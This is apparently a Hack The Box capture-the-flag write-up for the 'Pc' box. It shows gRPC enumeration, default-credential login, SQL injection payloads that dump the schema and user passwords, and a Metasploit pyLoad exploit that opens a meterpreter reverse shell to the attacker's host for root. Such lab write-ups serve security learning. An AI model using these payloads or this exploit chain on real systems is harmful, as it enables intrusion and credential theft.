Pc Writeup
11 November 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
$ sudo nmap -sC -sV -p- -T4 10.10.11.214
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
[...]
gRPC
After some research about port 50051, we learn this is the default ("recommended") port for gRPC services.
To interact with the service, we'll use grpc_cli. Installation and usage instructions are available here
Use the ls
command to list available services:
$ ./grpc_cli ls 10.10.11.214:50051
SimpleApp
grpc.reflection.v1alpha.ServerReflection
We can see that server reflection is enabled, which means we will be able to see what methods are available and what parameters they require.
Let's inspect this SimpleApp
service:
$ ./grpc_cli ls 10.10.11.214:50051 SimpleApp -l
filename: app.proto
service SimpleApp {
rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
rpc getInfo(getInfoRequest) returns (getInfoResponse) {}
}
Let's say we want to call the getInfo
method. We can use the type
command to get information about this getInfoRequest
parameter we need to provide:
$ ./grpc_cli type 10.10.11.214:50051 getInfoRequest -l
message getInfoRequest {
string id = 1;
}
OK, it takes an id
parameter, which is a string. Let's try it:
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "1"'
connecting to 10.10.11.214:50051
message: "Authorization Error.Missing \'token\' header"
Rpc succeeded with OK status
Foothold
It seems like we need to be authenticated to use the getInfo
method. It's fair to assume we'll get a token with the LoginUser
method.
The classic admin:admin works and we get a valid token:
$ ./grpc_cli call 10.10.11.214:50051 LoginUser 'username: "admin", password: "admin"'
connecting to 10.10.11.214:50051
message: "Your id is 751."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE'
Rpc succeeded with OK status
Alternatively, we can register a new user with the RegisterUser
method and then login.
We can now use the getInfo
method:
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "751"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "Will update soon."
Rpc succeeded with OK status
When using a SQLi payload in the id
parameter, we get a different message:
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "42 OR 1=1-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "The admin is working hard to fix the issues."
Rpc succeeded with OK status
This looks good for us. To confirm there is a SQLi, let's try a UNION payload:
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "0 UNION SELECT 42-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "42"
Rpc succeeded with OK status
Great, now we want to determine what kind of DB is running in the backend. We learn this is a sqlite DB since sqlite_version()
actually returns something instead of an error:
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "0 UNION SELECT sqlite_version()-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "3.31.1"
Rpc succeeded with OK status
Let's dump the database schema, to know about table and column names:
$ ./grpc_cli call 10.10.11.214:50051 getInfo "id: '0 UNION SELECT group_concat(sql) FROM sqlite_master WHERE type=\"table\"-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"
Rpc succeeded with OK status
The accounts
table is the most interesting to us. Let's dump it:
$ ./grpc_cli call 10.10.11.214:50051 getInfo "id: '0 UNION SELECT group_concat(username || \":\" || password) FROM accounts-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "admin:admin,sau:HereIsYourPassWord1431"
Rpc succeeded with OK status
No surprise to see admin:admin in there since we logged in with these creds. We can login via SSH with the other username and password.
$ ssh sau@10.10.11.214
[...]
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
Privesc
When checking listening ports, we see that ports 8000 and 9666 are up:
sau@pc:~$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:9666 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 *:50051 *:*
There are 2 unusual processes that are running as root:
sau@pc:~$ ps -ef --forest
[...]
root 1043 1 0 10:07 ? 00:00:03 /usr/bin/python3 /opt/app/app.py
root 1049 1 0 10:07 ? 00:00:05 /usr/bin/python3 /usr/local/bin/pyload
[...]
/opt/app/app.py
is the gRPC application. The second application is an open source software which listens by default on these 2 ports.
We can get the version with the pyload
command:
sau@pc:~$ pyload --version
pyLoad 0.5.0
While looking for public exploits targeting this version, we come across this CVE which is an unauthenticated Python code injection. It involves interacting with the service on port 9666. We saw this port listening on all interfaces in the output of the ss
command, but the port is most likely blocked by a firewall rule.
Since we have SSH access, we can forward a local port:
$ ssh sau@10.10.11.214 -L 9666:127.0.0.1:9666
This will forward port 9666 on our machine to port 9666 on the remote box (via the loopback interface).
We can now run the metasploit module and get code execution as root:
$ msfconsole
[...]
msf6 > search pyload
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/pyload_js2py_exec 2023-01-13 excellent Yes pyLoad js2py Python Execu
tion
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/pyload_js2p
y_exec
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST tun0
LHOST => 10.10.14.27
msf6 exploit(linux/http/pyload_js2py_exec) > run
[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24772 bytes) to 10.10.11.214
[*] Meterpreter session 1 opened (10.10.14.27:4444 -> 10.10.11.214:36250) at 2023-11-11 13:33:55 +0100
meterpreter > getuid
Server username: root
We specify 127.0.0.1 as the remote host to send requests through the SSH tunnel.
Key Takeaways
- Lookup unknown ports to identify what service is listening
- Common vulnerabilities may be present in unusual services